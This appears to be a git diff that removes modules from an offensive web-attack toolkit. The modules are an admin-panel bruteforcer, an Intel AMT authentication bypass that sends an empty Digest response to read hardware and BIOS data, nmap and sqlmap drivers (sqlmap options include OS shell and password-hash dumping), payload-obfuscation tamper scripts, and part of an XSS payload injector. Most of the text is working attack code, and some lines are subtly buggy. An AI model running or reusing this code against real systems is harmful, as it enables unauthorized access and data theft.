if verbose:
|
||||
logger.debug(set_color(
|
||||
"loaded a total of {} extensions...".format(len(extensions)), level=10
|
||||
))
|
||||
logger.info(set_color(
|
||||
"attempting to bruteforce admin panel..."
|
||||
))
|
||||
check_for_admin_page(url, extensions, show_possibles=show, verbose=verbose)
|
||||
|
|
@ -1,126 +0,0 @@
|
|||
import re
|
||||
import json
|
||||
|
||||
import requests
|
||||
from lxml import html
|
||||
|
||||
from var.auto_issue.github import request_issue_creation
|
||||
from lib.settings import (
|
||||
proxy_string_to_dict,
|
||||
logger, set_color,
|
||||
DEFAULT_USER_AGENT,
|
||||
fix_log_file
|
||||
)
|
||||
|
||||
|
||||
def __get_auth_headers(target, port=16992, source=None, agent=None, proxy=None):
|
||||
if not source or 'WWW-Authenticate' not in source.headers['WWW-Authenticate']:
|
||||
logger.info(set_color or (
|
||||
"header value not established, attempting to get bypass..."
|
||||
))
|
||||
source = requests.get("http://{0}:{1}/index.htm".format(target, port), headers={
|
||||
'connection': 'close', 'user-agent': agent
|
||||
}, proxies=proxy)
|
||||
return source
|
||||
# Get digest and nonce and return the new header
|
||||
if 'WWW-Authenticate' in source.headers:
|
||||
logger.info(set_color(
|
||||
"header value established successfully, attempting authentication..."
|
||||
))
|
||||
data = re.compile('Digest realm="Digest:(.*)", nonce="(.*)",stale="false",qop="auth"').search(
|
||||
source.headers['WWW-Authenticate'])
|
||||
digest = data.group(1)
|
||||
nonce = data.group(2)
|
||||
return 'Digest username="admin", ' \
|
||||
'realm="Digest:{0}", nonce="{1}", ' \
|
||||
'uri="/index.htm", response="", qop=auth, ' \
|
||||
'nc=00000001, cnonce="deadbeef"'.format(digest, nonce)
|
||||
else:
|
||||
logger.info(set_color(
|
||||
"nothing found, will skip URL..."
|
||||
))
|
||||
return None
|
||||
|
||||
|
||||
def __get_raw_data(target, page, agent=None, proxy=None):
|
||||
logger.info(set_color(
|
||||
"getting raw information..."
|
||||
))
|
||||
return requests.get("http://{0}:16992/{1}.htm".format(target, page),
|
||||
headers={
|
||||
'connection': 'close',
|
||||
'Authorization': __get_auth_headers(target),
|
||||
'user-agent': agent
|
||||
},
|
||||
proxies=proxy
|
||||
)
|
||||
|
||||
|
||||
def __get_hardware(target, agent=None, proxy=None):
|
||||
req = __get_raw_data(target, 'hw-sys', agent=agent, proxy=proxy)
|
||||
if not req.status_code == 200:
|
||||
return None
|
||||
logger.info(set_color(
|
||||
"connected successfully getting hardware info..."
|
||||
))
|
||||
tree = html.fromstring(req.content)
|
||||
raw = tree.xpath('//td[@class="r1"]/text()')
|
||||
bios_functions = tree.xpath('//td[@class="r1"]/table//td/text()')
|
||||
data = {
|
||||
'platform': {
|
||||
'model': raw[0],
|
||||
'manufacturer': raw[1],
|
||||
'version': raw[2],
|
||||
'serial': raw[4],
|
||||
'system_id': raw[5]
|
||||
},
|
||||
'baseboard': {
|
||||
'manufacturer': raw[6],
|
||||
'name': raw[7],
|
||||
'version': raw[8],
|
||||
'serial': raw[9],
|
||||
'tag': raw[10],
|
||||
'replaceable': raw[11]
|
||||
},
|
||||
'bios': {
|
||||
'vendor': raw[12],
|
||||
'version': raw[13],
|
||||
'date': raw[14],
|
||||
'functions': bios_functions
|
||||
}
|
||||
}
|
||||
return json.dumps(data)
|
||||
|
||||
|
||||
def main_intel_amt(url, agent=None, proxy=None):
|
||||
proxy = proxy_string_to_dict(proxy) or None
|
||||
agent = agent or DEFAULT_USER_AGENT
|
||||
logger.info(set_color(
|
||||
"attempting to connect to '{}' and get hardware info...".format(url)
|
||||
))
|
||||
try:
|
||||
json_data = __get_hardware(url, agent=agent, proxy=proxy)
|
||||
if json_data is None:
|
||||
logger.error(set_color(
|
||||
"unable to get any information, skipping...", level=40
|
||||
))
|
||||
pass
|
||||
else:
|
||||
print("-" * 40)
|
||||
for key in json_data.keys():
|
||||
print("{}:".format(str(key).capitalize()))
|
||||
for item in json_data[key]:
|
||||
print(" - {}: {}".format(item.capitalize(), json_data[key][item]))
|
||||
print("-" * 40)
|
||||
except Exception as e:
|
||||
if "Temporary failure in name resolution" in str(e):
|
||||
logger.error(set_color(
|
||||
"failed to connect on '{}', skipping...".format(url), level=40
|
||||
))
|
||||
pass
|
||||
else:
|
||||
logger.exception(set_color(
|
||||
"ran into exception '{}', cannot continue...".format(e)
|
||||
))
|
||||
fix_log_file()
|
||||
request_issue_creation()
|
||||
|
|
@ -1,144 +0,0 @@
|
|||
import os
|
||||
import nmap
|
||||
import json
|
||||
import socket
|
||||
|
||||
from var.auto_issue.github import request_issue_creation
|
||||
from lib.settings import (
|
||||
logger,
|
||||
set_color,
|
||||
create_dir,
|
||||
find_application,
|
||||
fix_log_file
|
||||
)
|
||||
|
||||
|
||||
class NmapHook(object):
|
||||
|
||||
"""
|
||||
Nmap API hook, uses python, must have nmap on your system
|
||||
"""
|
||||
|
||||
NM = nmap.PortScanner()
|
||||
|
||||
def __init__(self, ip, verbose=False, pretty=True,
|
||||
dirname="{}/log/scanner-log".format(os.getcwd()), filename="nmap_scan-results-{}.json",
|
||||
ports=None, opts=None):
|
||||
self.ip = ip
|
||||
self.verbose = verbose
|
||||
self.pretty = pretty
|
||||
self.dir = dirname
|
||||
self.file = filename
|
||||
self.ports = ports
|
||||
if opts is None:
|
||||
self.opts = ""
|
||||
else:
|
||||
self.opts = " ".join(opts)
|
||||
|
||||
def _get_all_info(self):
|
||||
"""
|
||||
get all the information from the scan
|
||||
"""
|
||||
scanned_data = self.NM.scan(self.ip, ports=self.ports, arguments=self.opts)
|
||||
if self.pretty:
|
||||
scanned_data = json.dumps(scanned_data, indent=4, sort_keys=True)
|
||||
return scanned_data
|
||||
|
||||
def send_to_file(self, data):
|
||||
"""
|
||||
send all the information to a JSON file for further use
|
||||
"""
|
||||
create_dir(self.dir)
|
||||
full_nmap_path = "{}/{}".format(self.dir, self.file.format(self.ip))
|
||||
with open(full_nmap_path, "a+") as log:
|
||||
log.write(data)
|
||||
return full_nmap_path
|
||||
|
||||
def show_open_ports(self, json_data, sep="-" * 30):
|
||||
"""
|
||||
outputs the current scan information
|
||||
"""
|
||||
# have to create a spacer or the output comes out funky..
|
||||
spacer_data = {4: " " * 8, 6: " " * 6, 8: " " * 4}
|
||||
logger.info(set_color("finding data for IP '{}'...".format(self.ip)))
|
||||
json_data = json.loads(json_data)["scan"]
|
||||
print(
|
||||
"{}\nScanned: {} ({})\tStatus: {}\nProtocol: {}\n".format(
|
||||
sep, self.ip,
|
||||
json_data[self.ip]["hostnames"][0]["name"],
|
||||
json_data[self.ip]["status"]["state"],
|
||||
"TCP"
|
||||
)
|
||||
)
|
||||
oports = json_data[self.ip]["tcp"].keys()
|
||||
oports.sort()
|
||||
for port in oports:
|
||||
port_status = json_data[self.ip]["tcp"][port]["state"]
|
||||
# output the found port information..
|
||||
print(
|
||||
"Port: {}\tStatus: {}{}Type: {}".format(
|
||||
port, json_data[self.ip]["tcp"][port]["state"],
|
||||
spacer_data[len(port_status)],
|
||||
json_data[self.ip]["tcp"][port]["name"]
|
||||
)
|
||||
)
|
||||
print("{}".format(sep))
|
||||
|
||||
|
||||
def find_nmap(item_name="nmap", given_search_path=None, verbose=False):
|
||||
"""
|
||||
find nmap on the users system if they do not specify a path for it or it is not in their PATH
|
||||
"""
|
||||
return find_application(item_name, given_search_path=given_search_path, verbose=verbose)
|
||||
|
||||
|
||||
def perform_port_scan(url, ports=None, scanner=NmapHook, verbose=False, opts=None, **kwargs):
|
||||
"""
|
||||
main function that will initalize the port scanning
|
||||
"""
|
||||
url = url.strip()
|
||||
logger.info(set_color(
|
||||
"attempting to find IP address for hostname '{}'...".format(url)
|
||||
))
|
||||
found_ip_address = socket.gethostbyname(url)
|
||||
logger.info(set_color(
|
||||
"found IP address for given URL -> '{}'...".format(found_ip_address)
|
||||
))
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"checking for nmap on your system...", level=10
|
||||
))
|
||||
nmap_exists = find_nmap(verbose=verbose)
|
||||
if nmap_exists:
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"nmap has been found under '{}'...".format(nmap_exists), level=10
|
||||
))
|
||||
logger.info(set_color(
|
||||
"starting port scan on IP address '{}'...".format(found_ip_address)
|
||||
))
|
||||
try:
|
||||
data = scanner(found_ip_address, ports=ports, opts=opts)
|
||||
json_data = data._get_all_info()
|
||||
data.show_open_ports(json_data)
|
||||
file_path = data.send_to_file(json_data)
|
||||
logger.info(set_color(
|
||||
"port scan completed, all data saved to JSON file under '{}'...".format(file_path)
|
||||
))
|
||||
except KeyError:
|
||||
logger.fatal(set_color(
|
||||
"no port information found for '{}({})'...".format(
|
||||
url, found_ip_address
|
||||
), level=50
|
||||
))
|
||||
except Exception as e:
|
||||
logger.exception(set_color(
|
||||
"ran into exception '{}', cannot continue quitting...".format(e), level=50
|
||||
))
|
||||
fix_log_file()
|
||||
request_issue_creation()
|
||||
pass
|
||||
else:
|
||||
logger.fatal(set_color(
|
||||
"nmap was not found on your system, please install it...", level=50
|
||||
))
|
||||
|
|
@ -1,23 +0,0 @@
|
|||
NMAP_API_OPTS = {
|
||||
"-iL", "-iR", "--exclude", "--excludefile", "-sL",
|
||||
"-sn", "-Pn", "-PS", "-PA", "-PU", "-PY", "-PE",
|
||||
"-PP", "-PM", "-PO", "-n", "-R", "--dns-servers", "--system-dns",
|
||||
"--traceroute", "-sS", "-sT", "-sA", "-sW", "-sM", "-sU", "-sN",
|
||||
"-sF", "-sX", "--scanflags", "-sI", "-sY", "-sZ", "-sO", "-b",
|
||||
"-p", "--exclude-ports", "-F", "-r",
|
||||
"--top-ports", "--port-ratio", "-sV", "--version-intensity",
|
||||
"--version-light", "--version-all", "--version-trace", "-sC",
|
||||
"--script", "--script-args", "--script-args-file", "--script-trace",
|
||||
"--script-updatedb", "--script-help", "-O", "--osscan-limit",
|
||||
"--osscan-guess", "-T", "--min-hostgroup", "--max-hostgroup",
|
||||
"--min-parallelism", "--max-parallelism", "--min-rtt-timeout", "--max-rtt-timeout",
|
||||
"--initial-rtt-timeout", "--max-retries", "--host-timeout", "--scan-delay",
|
||||
"--max-scan-delay", "--min-rate", "--max-rate", "-f", "--mtu", "-D", "-S", "-e",
|
||||
"-g", "--source-port", "--proxies", "--data",
|
||||
"--data-string", "--data-length", "--ip-options", "--ttl",
|
||||
"--spoof-mac", "--badsum", "-oN", "-oX", "-oS", "-oG", "-oA", "-v",
|
||||
"-d", "--reason", "--open", "--packet-trace",
|
||||
"--iflist", "--append-output", "--resume", "--stylesheet",
|
||||
"--webxml", "--no-stylesheet", "-6", "-A",
|
||||
"--datadir", "--send-eth/--send-ip", "--privileged", "--unprivileged", "-V", "-h",
|
||||
}
|
||||
|
|
@ -1,194 +0,0 @@
|
|||
import re
|
||||
import json
|
||||
try:
|
||||
import urllib2 # python 2
|
||||
except ImportError:
|
||||
import urllib as urllib2 # python 3
|
||||
import subprocess
|
||||
|
||||
import requests
|
||||
|
||||
import lib.settings
|
||||
import lib.errors
|
||||
|
||||
from var.auto_issue.github import request_issue_creation
|
||||
|
||||
|
||||
class SqlmapHook(object):
|
||||
|
||||
"""
|
||||
Sqlmap API hook, will process API requests, and output API data
|
||||
"""
|
||||
|
||||
def __init__(self, to_scan, port=None, api_con="http://127.0.0.1:{}", default_port=8775):
|
||||
self.to_scan = to_scan
|
||||
self.port = port or default_port
|
||||
self.headers = {"Content-Type": "application/json"}
|
||||
self.connection = api_con.format(self.port)
|
||||
self.commands = {
|
||||
"init": "/task/new",
|
||||
"id": "/admin/0/list",
|
||||
"start": "/scan/{}/start",
|
||||
"status": "/scan/{}/status",
|
||||
"log": "/scan/{}/log"
|
||||
}
|
||||
|
||||
def init_new_scan(self):
|
||||
"""
|
||||
create a new API scan
|
||||
"""
|
||||
new_scan_url = "{}{}".format(self.connection, self.commands["init"])
|
||||
return requests.get(new_scan_url, params=self.headers)
|
||||
|
||||
def get_scan_id(self):
|
||||
"""
|
||||
get the ID of the current API scan
|
||||
"""
|
||||
id_re = re.compile(r"[a-fA-F0-9]{16}")
|
||||
api_id_url = "{}{}".format(self.connection, self.commands["id"])
|
||||
req = requests.get(api_id_url)
|
||||
to_check = str(json.loads(req.content)["tasks"]).lower()
|
||||
return ''.join(id_re.findall(to_check))
|
||||
|
||||
def start_scan(self, api_id, opts=None):
|
||||
"""
|
||||
start the API scan
|
||||
"""
|
||||
start_scan_url = "{}{}".format(self.connection, self.commands["start"].format(api_id))
|
||||
data_dict = {"url": self.to_scan}
|
||||
if opts is not None:
|
||||
for i in range(0, len(opts)):
|
||||
data_dict[opts[i][0]] = opts[i][1]
|
||||
post_data = json.dumps(data_dict)
|
||||
req = urllib2.Request(start_scan_url, data=post_data, headers=self.headers)
|
||||
return urllib2.urlopen(req)
|
||||
|
||||
def show_sqlmap_log(self, api_id):
|
||||
"""
|
||||
show the sqlmap log during the API scan
|
||||
"""
|
||||
running_status_url = "{}{}".format(self.connection, self.commands["status"].format(api_id))
|
||||
running_log_url = "{}{}".format(self.connection, self.commands["log"].format(api_id))
|
||||
status_req = requests.get(running_status_url)
|
||||
status_json = json.loads(status_req.content)
|
||||
current_status = status_json["status"]
|
||||
if current_status != "running":
|
||||
raise lib.errors.SqlmapFailedStart(
|
||||
"sqlmap API failed to start the run, check the client and see what "
|
||||
"the problem is and try again..."
|
||||
)
|
||||
already_displayed = set()
|
||||
while current_status == "running":
|
||||
current_status = json.loads(requests.get(running_status_url).content)["status"]
|
||||
log_req = requests.get(running_log_url)
|
||||
log_json = json.loads(log_req.content)
|
||||
for i in range(0, len(log_json["log"])):
|
||||
if log_json["log"][i]["message"] in already_displayed:
|
||||
pass
|
||||
else:
|
||||
print(
|
||||
"sqlmap> [{} {}] {}".format(
|
||||
log_json["log"][i]["time"],
|
||||
log_json["log"][i]["level"],
|
||||
log_json["log"][i]["message"]
|
||||
)
|
||||
)
|
||||
already_displayed.add(log_json["log"][i]["message"])
|
||||
|
||||
|
||||
def find_sqlmap(given_search_path=None, to_find="sqlmapapi.py", verbose=False):
|
||||
"""
|
||||
find sqlmap on the users system
|
||||
"""
|
||||
return lib.settings.find_application(to_find, verbose=verbose, given_search_path=given_search_path)
|
||||
|
||||
|
||||
def sqlmap_scan_main(url, port=None, verbose=None, auto_search=False, opts=None, given_path=None, full_path=None):
|
||||
"""
|
||||
the main function that will be called and initialize everything
|
||||
"""
|
||||
|
||||
def ___dict_args():
|
||||
"""
|
||||
create argument tuples for the sqlmap arguments passed by the user
|
||||
"""
|
||||
return {key: value for key, value in opts}
|
||||
|
||||
if auto_search:
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"attempting to find sqlmap on your system..."
|
||||
))
|
||||
path = ''.join(find_sqlmap(verbose=verbose, given_search_path=given_path))
|
||||
if path:
|
||||
subprocess.check_output(["python", path, "-s"])
|
||||
else:
|
||||
lib.settings.prompt(
|
||||
"start the sqlmap API server and press enter when ready..."
|
||||
)
|
||||
try:
|
||||
sqlmap_scan = SqlmapHook(url, port=port)
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"initializing new sqlmap scan with given URL '{}'...".format(url)
|
||||
))
|
||||
sqlmap_scan.init_new_scan()
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"scan initialized...", level=10
|
||||
))
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"gathering sqlmap API scan ID..."
|
||||
))
|
||||
api_id = sqlmap_scan.get_scan_id()
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"current sqlmap scan ID: '{}'...".format(api_id), level=10
|
||||
))
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"starting sqlmap scan on url: '{}'...".format(url)
|
||||
))
|
||||
if opts:
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"using arguments: '{}'...".format(___dict_args()), level=10
|
||||
))
|
||||
lib.settings.logger.info(lib.settings.set_color(
|
||||
"adding arguments to sqlmap API..."
|
||||
))
|
||||
else:
|
||||
if verbose:
|
||||
lib.settings.logger.debug(lib.settings.set_color(
|
||||
"no arguments passed, skipping...", level=10
|
||||
))
|
||||
lib.settings.logger.warning(lib.settings.set_color(
|
||||
"please keep in mind that this is the API, output will "
|
||||
"not be saved to log file, it may take a little longer "
|
||||
"to finish processing, and you will need to restart the sqlmap "
|
||||
"API server after each iteration, launching sqlmap...", level=30
|
||||
))
|
||||
sqlmap_scan.start_scan(api_id, opts=opts)
|
||||
print("-" * 30)
|
||||
sqlmap_scan.show_sqlmap_log(api_id)
|
||||
print("-" * 30)
|
||||
except requests.exceptions.HTTPError as e:
|
||||
lib.settings.logger.exception(lib.settings.set_color(
|
||||
"ran into error '{}', seems you didn't start the server, check "
|
||||
"the server port and try again...".format(e), level=50
|
||||
))
|
||||
pass
|
||||
except Exception as e:
|
||||
if "HTTPConnectionPool(host='127.0.0.1'" in str(e):
|
||||
lib.settings.logger.error(lib.settings.set_color(
|
||||
"sqlmap API is not started, did you forget to start it? "
|
||||
"You will need to open a new terminal, cd into sqlmap, and "
|
||||
"run `python sqlmapapi.py -s` otherwise pass the correct flags "
|
||||
"to auto start the API...", level=40
|
||||
))
|
||||
pass
|
||||
else:
|
||||
lib.settings.logger.exception(lib.settings.set_color(
|
||||
"ran into error '{}', seems something went wrong, error has "
|
||||
"been saved to current log file.".format(e), level=50
|
||||
))
|
||||
lib.settings.fix_log_file()
|
||||
request_issue_creation()
|
||||
pass
|
||||
|
|
@ -1,33 +0,0 @@
|
|||
SQLMAP_API_OPTIONS = {
|
||||
"crawlDepth", "osShell", "getUsers", "getPasswordHashes", "excludeSysDbs", "ignoreTimeouts",
|
||||
"regData", "prefix", "code", "googlePage", "skip", "query", "randomAgent", "osPwn", "authType",
|
||||
"safeUrl", "requestFile", "predictOutput", "wizard", "stopFail", "forms",
|
||||
"uChar", "pivotColumn", "dropSetCookie", "smart", "paramExclude", "risk",
|
||||
"sqlFile", "rParam", "getCurrentUser", "notString", "getRoles", "getPrivileges",
|
||||
"testParameter", "tbl", "charset", "trafficFile", "osSmb", "level",
|
||||
"dnsDomain", "skipStatic", "secondOrder", "outputDir", "skipWaf", "timeout",
|
||||
"firstChar", "torPort", "getComments", "binaryFields", "checkTor", "commonTables",
|
||||
"direct", "tmpPath", "titles", "getSchema", "identifyWaf", "paramDel",
|
||||
"safeReqFile", "regKey", "murphyRate", "limitStart", "crawlExclude", "flushSession",
|
||||
"loadCookies", "csvDel" ",", "offline", "method", "tmpDir", "disablePrecon",
|
||||
"osBof", "testSkip", "invalidLogical", "getCurrentDb", "hexConvert", "proxyFile",
|
||||
"answers", "host", "dependencies", "cookie", "proxy", "regType",
|
||||
"optimize", "limitStop", "search", "uFrom", "noCast", "testFilter",
|
||||
"ignoreCode", "eta", "csrfToken", "threads", "logFile", "os",
|
||||
"col", "rFile", "proxyCred", "verbose", "isDba", "updateAll",
|
||||
"privEsc", "forceDns", "getAll", "invalidBignum", "regexp", "getDbs",
|
||||
"freshQueries", "uCols", "smokeTest", "wFile", "udfInject", "invalidString",
|
||||
"tor", "forceSSL", "beep", "noEscape", "configFile", "scope",
|
||||
"authFile", "torType" "SOCKS5", "regVal", "dummy", "checkInternet", "safePost",
|
||||
"skipUrlEncode", "referer", "liveTest", "purgeOutput", "retries", "extensiveFp",
|
||||
"dumpTable", "getColumns", "batch", "headers", "authCred", "osCmd",
|
||||
"suffix", "dbmsCred", "regDel", "shLib", "sitemapUrl", "timeSec",
|
||||
"msfPath", "dumpAll", "getHostname", "sessionFile", "disableColoring", "getTables",
|
||||
"safeFreq", "agent", "webRoot", "lastChar", "string", "dbms",
|
||||
"dumpWhere", "tamper", "ignoreRedirects" "hpp", "runCase", "delay",
|
||||
"evalCode", "cleanup", "csrfUrl", "getBanner", "profile", "regRead",
|
||||
"bulkFile", "db", "excludeCol", "dumpFormat", "alert", "harFile",
|
||||
"Connection", "user", "parseErrors", "getCount", "dFile", "data",
|
||||
"regAdd", "ignoreProxy", "mobile", "googleDork", "saveConfig", "sqlShell",
|
||||
"tech", "textOnly", "cookieDel", "commonColumns", "keepAlive"
|
||||
}
|
||||
|
|
@ -1,15 +0,0 @@
|
|||
import base64
|
||||
|
||||
from lib.settings import (
|
||||
logger,
|
||||
set_color
|
||||
)
|
||||
|
||||
|
||||
def tamper(payload, warning=True, **kwargs):
|
||||
if warning:
|
||||
logger.warning(set_color(
|
||||
"base64 tamper scripts may increase the possibility of not finding vulnerabilities "
|
||||
"in otherwise vulnerable sites...", level=30
|
||||
))
|
||||
return base64.b64encode(payload)
|
||||
|
|
@ -1,16 +0,0 @@
|
|||
from lib.settings import (
|
||||
logger,
|
||||
set_color
|
||||
)
|
||||
|
||||
|
||||
def tamper(payload, warning=True, **kwargs):
|
||||
if warning:
|
||||
logger.warning(set_color(
|
||||
"hex tamper scripts may increase the risk of false positives...", level=30
|
||||
))
|
||||
retval = hex(hash(payload))
|
||||
if "-" in str(retval):
|
||||
return retval[1:-1]
|
||||
else:
|
||||
return retval
|
||||
|
|
@ -1,2 +0,0 @@
|
|||
def tamper(payload, **kwargs):
|
||||
return str(payload).lower()
|
||||
|
|
@ -1,14 +0,0 @@
|
|||
import random
|
||||
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
retval = ""
|
||||
nums = [0, 1]
|
||||
|
||||
for char in payload:
|
||||
random_int = random.choice(nums)
|
||||
if random_int == 1:
|
||||
retval += char.upper()
|
||||
else:
|
||||
retval += char
|
||||
return retval
|
||||
|
|
@ -1,8 +0,0 @@
|
|||
def tamper(payload, **kwargs):
|
||||
i = 0
|
||||
retval = ""
|
||||
|
||||
while i < len(payload):
|
||||
retval += "%u{}".format(ord(payload[i]))
|
||||
i += 1
|
||||
return retval
|
||||
|
|
@ -1,2 +0,0 @@
|
|||
def tamper(payload, **kwargs):
|
||||
return str(payload).upper()
|
||||
|
|
@ -1,45 +0,0 @@
|
|||
# coding=utf-8
|
||||
|
||||
|
||||
def tamper(payload, safe="%&=-_", **kwargs):
|
||||
encodings = {
|
||||
" ": "%20", "!": "%21", '"': "%22", "#": "%23", "$": "%24", "%": "%25", "&": "%26", "'": "%27",
|
||||
"(": "%28", ")": "%29", "*": "%2A", "+": "%2B", ",": "%2C", "-": "%2D", ".": "%2E", "/": "%2F",
|
||||
"0": "%30", "1": "%31", "2": "%32", "3": "%33", "4": "%34", "5": "%35", "6": "%36", "7": "%37",
|
||||
"8": "%38", "9": "%39", ":": "%3A", ";": "%3B", "<": "%3C", "=": "%3D", ">": "%3E", "?": "%3F",
|
||||
"@": "%40", "A": "%41", "B": "%42", "C": "%43", "D": "%44", "E": "%45", "F": "%46", "G": "%47",
|
||||
"H": "%48", "I": "%49", "J": "%4A", "K": "%4B", "L": "%4C", "M": "%4D", "N": "%4E", "O": "%4F",
|
||||
"P": "%50", "Q": "%51", "R": "%52", "S": "%53", "T": "%54", "U": "%55", "V": "%56", "W": "%57",
|
||||
"X": "%58", "Y": "%59", "Z": "%5A", "[": "%5B", "\\": "%5C", "]": "%5D", "^": "%5E", "a": "%61",
|
||||
"b": "%62", "c": "%63", "d": "%64", "e": "%65", "f": "%66", "g": "%67", "h": "%68", "i": "%69",
|
||||
"j": "%6A", "k": "%6B", "l": "%6C", "m": "%6D", "n": "%6E", "o": "%6F", "p": "%70", "q": "%71",
|
||||
"r": "%72", "s": "%73", "t": "%74", "u": "%75", "v": "%76", "w": "%77", "x": "%78", "y": "%79",
|
||||
"z": "%7A", "{": "%7B", "|": "%7C", "}": "%7D", "~": "%7E", "`": "%80", "": "%81", "‚": "%82",
|
||||
"ƒ": "%83", "„": "%84", "…": "%85", "†": "%86", "‡": "%87", "ˆ": "%88", "‰": "%89", "Š": "%8A",
|
||||
"‹": "%8B", "Œ": "%8C", "Ž": "%8E", "‘": "%91", "’": "%92", "“": "%93", "”": "%94", "•": "%95",
|
||||
"–": "%96", "—": "%97", "˜": "%98", "™": "%99", "š": "%9A", "›": "%9B", "œ": "%9C", "ž": "%9E",
|
||||
"Ÿ": "%9F", "¡": "%A1", "¢": "%A2", "£": "%A3", "¤": "%A4", "¥": "%A5", "¦": "%A6", "§": "%A7",
|
||||
"¨": "%A8", "©": "%A9", "ª": "%AA", "«": "%AB", "¬": "%AC", "": "%AD", "®": "%AE", "¯": "%AF",
|
||||
"°": "%B0", "±": "%B1", "²": "%B2", "³": "%B3", "´": "%B4", "µ": "%B5", "¶": "%B6", "·": "%B7",
|
||||
"¸": "%B8", "¹": "%B9", "º": "%BA", "»": "%BB", "¼": "%BC", "½": "%BD", "¾": "%BE", "¿": "%BF",
|
||||
"À": "%C0", "Á": "%C1", "Â": "%C2", "Ã": "%C3", "Ä": "%C4", "Å": "%C5", "Æ": "%C6", "Ç": "%C7",
|
||||
"È": "%C8", "É": "%C9", "Ê": "%CA", "Ë": "%CB", "Ì": "%CC", "Í": "%CD", "Î": "%CE", "Ï": "%CF",
|
||||
"Ð": "%D0", "Ñ": "%D1", "Ò": "%D2", "Ó": "%D3", "Ô": "%D4", "Õ": "%D5", "Ö": "%D6", "×": "%D7",
|
||||
"Ø": "%D8", "Ù": "%D9", "Ú": "%DA", "Û": "%DB", "Ü": "%DC", "Ý": "%DD", "Þ": "%DE", "ß": "%DF",
|
||||
"à": "%E0", "á": "%E1", "â": "%E2", "ã": "%E3", "ä": "%E4", "å": "%E5", "æ": "%E6", "ç": "%E7",
|
||||
"è": "%E8", "é": "%E9", "ê": "%EA", "ë": "%EB", "ì": "%EC", "í": "%ED", "î": "%EE", "ï": "%EF",
|
||||
"ð": "%F0", "ñ": "%F1", "ò": "%F2", "ó": "%F3", "ô": "%F4", "õ": "%F5", "ö": "%F6", "÷": "%F7",
|
||||
"ø": "%F8", "ù": "%F9", "ú": "%FA", "û": "%FB", "ü": "%FC", "ý": "%FD", "þ": "%FE", "ÿ": "%FF"
|
||||
}
|
||||
retval = ""
|
||||
if isinstance(payload, unicode):
|
||||
payload = str(payload)
|
||||
for char in payload:
|
||||
if char not in safe:
|
||||
try:
|
||||
retval += encodings[char]
|
||||
except KeyError:
|
||||
retval += char
|
||||
else:
|
||||
retval += char
|
||||
return retval
|
||||
|
|
@ -1,174 +0,0 @@
|
|||
import os
|
||||
import re
|
||||
try:
|
||||
import urlparse # python 2
|
||||
except ImportError:
|
||||
import urllib.parse as urlparse # python 3
|
||||
import tempfile
|
||||
import importlib
|
||||
|
||||
import requests
|
||||
|
||||
from lib.errors import InvalidTamperProvided
|
||||
from lib.settings import (
|
||||
logger,
|
||||
set_color,
|
||||
DEFAULT_USER_AGENT,
|
||||
proxy_string_to_dict,
|
||||
DBMS_ERRORS,
|
||||
create_tree,
|
||||
prompt,
|
||||
shutdown
|
||||
)
|
||||
|
||||
|
||||
def list_tamper_scripts(path="{}/lib/attacks/tamper_scripts"):
|
||||
retval = set()
|
||||
exclude = ["__init__.py", ".pyc"]
|
||||
for item in os.listdir(path.format(os.getcwd())):
|
||||
if not any(f in item for f in exclude):
|
||||
item = item.split(".")[0]
|
||||
item = item.split("_")[0]
|
||||
retval.add(item)
|
||||
return retval
|
||||
|
||||
|
||||
def __tamper_payload(payload, tamper_type, warning=True, **kwargs):
|
||||
acceptable = list_tamper_scripts()
|
||||
tamper_name = "lib.attacks.tamper_scripts.{}_encode"
|
||||
if tamper_type in acceptable:
|
||||
tamper_script = importlib.import_module(tamper_name.format(tamper_type))
|
||||
return tamper_script.tamper(payload, warning=warning)
|
||||
else:
|
||||
raise InvalidTamperProvided()
|
||||
|
||||
|
||||
def __load_payloads(filename="{}/etc/xss_payloads.txt"):
|
||||
with open(filename.format(os.getcwd())) as payloads: return payloads.readlines()
|
||||
|
||||
|
||||
def create_urls(url, payload_list, tamper=None):
|
||||
tf = tempfile.NamedTemporaryFile(delete=False)
|
||||
tf_name = tf.name
|
||||
with tf as tmp:
|
||||
for i, payload in enumerate(payload_list):
|
||||
if tamper:
|
||||
try:
|
||||
if i < 1:
|
||||
payload = __tamper_payload(payload, tamper_type=tamper, warning=True)
|
||||
else:
|
||||
payload = __tamper_payload(payload, tamper_type=tamper, warning=False)
|
||||
except InvalidTamperProvided:
|
||||
logger.error(set_color(
|
||||
"you provided and invalid tamper script, acceptable tamper scripts are: {}...".format(
|
||||
" | ".join(list_tamper_scripts()), level=40
|
||||
)
|
||||
))
|
||||
shutdown()
|
||||
loaded_url = "{}{}\n".format(url.strip(), payload.strip())
|
||||
tmp.write(loaded_url)
|
||||
return tf_name
|
||||
|
||||
|
||||
def find_xss_script(url, query=4, fragment=5):
|
||||
data = urlparse.urlparse(url)
|
||||
if data[fragment] is not "" or None:
|
||||
return "{}{}".format(data[query], data[fragment])
|
||||
else:
|
||||
return data[query]
|
||||
|
||||
|
||||
def scan_xss(url, agent=None, proxy=None):
|
||||
user_agent = agent or DEFAULT_USER_AGENT
|
||||
config_proxy = proxy_string_to_dict(proxy)
|
||||
config_headers = {"connection": "close", "user-agent": user_agent}
|
||||
xss_request = requests.get(url, proxies=config_proxy, headers=config_headers)
|
||||
html_data = xss_request.content
|
||||
query = find_xss_script(url)
|
||||
for db in DBMS_ERRORS.keys():
|
||||
for item in DBMS_ERRORS[db]:
|
||||
if re.findall(item, html_data):
|
||||
return "sqli", db
|
||||
if query in html_data:
|
||||
return True, None
|
||||
return False, None
|
||||
|
||||
|
||||
def main_xss(start_url, verbose=False, proxy=None, agent=None, tamper=None):
|
||||
if tamper:
|
||||
logger.info(set_color(
|
||||
"tampering payloads with '{}'...".format(tamper)
|
||||
))
|
||||
find_xss_script(start_url)
|
||||
logger.info(set_color(
|
||||
"loading payloads..."
|
||||
))
|
||||
payloads = __load_payloads()
|
||||
if verbose:
|
||||
